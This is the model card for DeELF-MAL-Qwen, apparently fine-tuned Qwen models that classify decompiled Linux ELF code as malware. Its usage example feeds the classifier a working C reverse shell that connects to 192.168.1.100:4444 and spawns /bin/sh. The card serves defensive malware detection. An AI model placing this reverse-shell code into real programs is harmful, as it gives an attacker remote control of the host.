DeELF-MAL-Qwen: Large Language Models for Decompiled Linux ELF Malware Detection

This repository contains the official model checkpoints and custom architecture implementations for the paper [Anonymous Submission to AiSEC 2026].

We introduce a suite of neural models built upon the Qwen2.5-Coder-1.5B-Instruct foundation, specifically fine-tuned for the static analysis and classification of decompiled C code extracted from Linux ELF (Executable and Linkable Format) binaries. The models are designed to identify complex malicious behaviors, including privilege escalation, persistence mechanisms, network exfiltration, and process injection, directly from decompiled syntax.

---

Source Code

The complete training framework, data processing pipeline, and evaluation scripts associated with these models are publicly available on GitHub: bl00dybear/DeELF-MAL-Detect

---

Architectural Variants

The repository provides three distinct architectural formulations to address varying constraints in context length and computational overhead. Each model is encapsulated in a dedicated sub-directory within the models/ path.

Subdirectory	Architecture	Context Capacity	Trainable Parameters	Description
qwen-lora-76M-16k	Standard LoRA	16,384 tokens	76M	A baseline Low-Rank Adaptation (LoRA) model utilizing a truncated context window.
qwen-lora-76M-128k	Multi-Chunk LoRA	128,000 tokens	76M	An extended-context variant that processes high-volume decompiled code by partitioning the input into four discrete 32k-token sequences, evaluated via a cross-attention aggregation layer.
qwen-encdec-114M-16k	Memory Encoder-Decoder	114,688 tokens	114M	A novel dual-backbone architecture. An Encoder independently compresses up to 8 disjoint code segments (14k tokens each) into dense semantic representations (Memory Tokens). A Decoder subsequently aggregates these localized representations to produce a global classification.

Note: The Encoder-Decoder bundle is provided as a self-contained exported artifact. The teacher model's weights have been statically merged into the decoder backbone to optimize inference latency and dependency management.

---

Inference and Usage

To facilitate reproducibility and ease of integration, all models employ a custom configuration and forward-pass implementation (modeling_deelf_mal.py), fully compatible with the Hugging Face transformers API via the trust_remote_code=True flag.

Furthermore, we expose a specialized .predict() method that abstracts the preprocessing pipeline. This method automatically handles prompt injection, token padding, and the structural chunking required by the extended-context and encoder-decoder variants.

Requirements

pip install transformers torch

Python API Integration

from transformers import AutoModelForSequenceClassification, AutoTokenizer

# Define the repository and the specific architectural variant
REPO_ID = "bl00dybear/DeELF-MAL-Qwen"
VARIANT_DIR = "models/qwen-encdec-114M-16k" 

# 1. Initialize the Tokenizer and the Custom Architecture
tokenizer = AutoTokenizer.from_pretrained(
    REPO_ID, 
    subfolder=VARIANT_DIR, 
    trust_remote_code=True
)

model = AutoModelForSequenceClassification.from_pretrained(
    REPO_ID, 
    subfolder=VARIANT_DIR, 
    trust_remote_code=True, 
    torch_dtype="auto"
)
model.eval().cuda()

# 2. Provide the raw decompiled C code string
decompiled_source = """
void main(int argc, char** argv) {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);
    addr.sin_addr.s_addr = inet_addr("192.168.1.100");
    connect(sock, (struct sockaddr*)&addr, sizeof(addr));
    
    dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
    execve("/bin/sh", NULL, NULL);
}
"""

# 3. Execute Inference
# The predict() routine automatically applies the requisite system prompts 
# and structural tokenization conforming to the chosen architecture's constraints.
prediction_result = model.predict(decompiled_source, tokenizer)

print(f"Classification: {prediction_result['label'].upper()}")
print(f"Confidence Score: {prediction_result['score']:.4f}")

---

Preprocessing & Prompting

The models undergo instruction tuning using a strictly defined system prompt to contextualize the semantic parsing of the decompiled code. When utilizing the .predict() wrapper, the following directive is automatically prepended to the tokenized sequence:

"You are a senior reverse engineer specializing in Linux ELF malware analysis. You analyze decompiled binary code and identify malicious behavior patterns such as privilege escalation, persistence mechanisms, network exfiltration, process injection, and obfuscation techniques (pay attention on what are this operations applied)."

Researchers bypassing .predict() to construct custom forward passes must manually inject this system prompt and the accompanying <|im_start|> and <|im_end|> demarcations to achieve deterministic behavior.

---

Limitations and Ethical Considerations

These models are empirically validated exclusively on decompiled C representations of Linux ELF binaries. The generalization of their latent representations to other architectures (e.g., Windows PE, macOS Mach-O) or alternative decompilation syntaxes (e.g., pseudo-code from IDA Pro) remains out of scope for this work.

Disclaimer: These artifacts are distributed strictly for academic research and defensive cybersecurity applications. The authors assume no liability for the misuse of these models in adversarial contexts.